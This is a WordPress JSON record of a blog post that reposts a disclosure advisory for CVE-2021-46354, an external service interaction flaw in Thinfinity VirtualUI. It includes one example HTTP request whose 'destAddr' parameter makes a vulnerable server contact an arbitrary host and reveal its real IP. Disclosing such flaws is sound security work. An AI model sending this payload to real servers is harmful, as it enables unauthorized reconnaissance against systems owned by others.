{"id":20942,"date":"2022-02-22T10:38:33","date_gmt":"2022-02-22T07:38:33","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/166069\/thinfinityvirtualui25262-disclose.txt"},"modified":"2022-02-22T11:31:24","modified_gmt":"2022-02-22T08:01:24","slug":"thinfinity-virtualui-2-5-26-2-information-disclosure","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/thinfinity-virtualui-2-5-26-2-information-disclosure\/","title":{"rendered":"Thinfinity VirtualUI 2.5.26.2 Information Disclosure"},"content":{"rendered":"<p dir=\"ltr\">Exploit Title: Thinfinity VirtualUI 2.5.26.2 &#8211; Information Disclosure<br \/>\nDate: 18\/01\/2022<br \/>\nExploit Author: Daniel Morales<br \/>\nVendor: https:\/\/www.cybelesoft.com &lt;https:\/\/www.cybelesoft.com\/&gt;<br \/>\nSoftware Link: https:\/\/www.cybelesoft.com\/thinfinity\/virtualui\/ &lt;https:\/\/www.cybelesoft.com\/thinfinity\/virtualui\/&gt;<br \/>\nVersion vulnerable: Thinfinity VirtualUI &lt; v2.5.26.2<br \/>\nTested on: Microsoft Windows<br \/>\nCVE: CVE-2021-46354<\/p>\n<p dir=\"ltr\">How it works<br \/>\nExternal service interaction arises when it is possible to induce an application to interact with an arbitrary external service. The ability to send requests to other systems can allow the vulnerable server to filtrate the real IP of the webserver or increase the attack surface (it may be used also to filtrate the real IP behind a CDN).<\/p>\n<p dir=\"ltr\">Payload<br \/>\nAn example of the HTTP request &#8220;https:\/\/example.com\/cmd &lt;https:\/\/example.com\/cmd&gt;?<br \/>\ncmd=connect&amp;wscompression=true&amp;destAddr=domain.com &lt;http:\/\/domain.com\/&gt;<br \/>\n&amp;scraper=fmx&amp;screenWidth=1918&amp;screenHeight=934&amp;fitmode=0&amp;argumentsp=&amp;orientation=0&amp;browserWidth=191<br \/>\n8&amp;browserHeight=872&amp;supportCur=true&amp;id=null&amp;devicePixelRatio=1&amp;isMobile=false&amp;isLandscape=true&amp;supp<br \/>\nortsFullScreen=true&amp;webapp=false\u201d<\/p>\n<p dir=\"ltr\">Where &#8220;domain.com &lt;http:\/\/domain.com\/&gt;&#8221; is the external endpoint to be requested.<\/p>\n<p dir=\"ltr\">Vulnerable versions<br \/>\nIt has been tested in VirtualUI version 2.1.28.0, 2.1.32.1 and 2.5.26.2<\/p>\n<p dir=\"ltr\">References<br \/>\nhttps:\/\/github.com\/cybelesoft\/virtualui\/issues\/3 &lt;https:\/\/github.com\/cybelesoft\/virtualui\/issues\/3&gt;<br \/>\nhttps:\/\/www.tenable.com\/cve\/CVE-2021-46354 &lt;https:\/\/www.tenable.com\/cve\/CVE-2021-46354&gt;<br \/>\nhttps:\/\/twitter.com\/danielmofer &lt;https:\/\/twitter.com\/danielmofer&gt;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Exploit Title: Thinfinity VirtualUI 2.5.26.2 &#8211; Information Disclosure Date: 18\/01\/2022 Exploit Author: Daniel Morales Vendor: https:\/\/www.cybelesoft.com &lt;https:\/\/www.cybelesoft.com\/&gt; Software Link: https:\/\/www.cybelesoft.com\/thinfinity\/virtualui\/ &lt;https:\/\/www.cybelesoft.com\/thinfinity\/virtualui\/&gt; Version vulnerable: Thinfinity VirtualUI &lt; v2.5.26.2 Tested on: Microsoft Windows CVE: CVE-2021-46354 How it works External service interaction arises when it is possible to induce an application to interact with an arbitrary external service. &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-20942","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/20942","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=20942"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/20942\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=20942"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=20942"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=20942"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}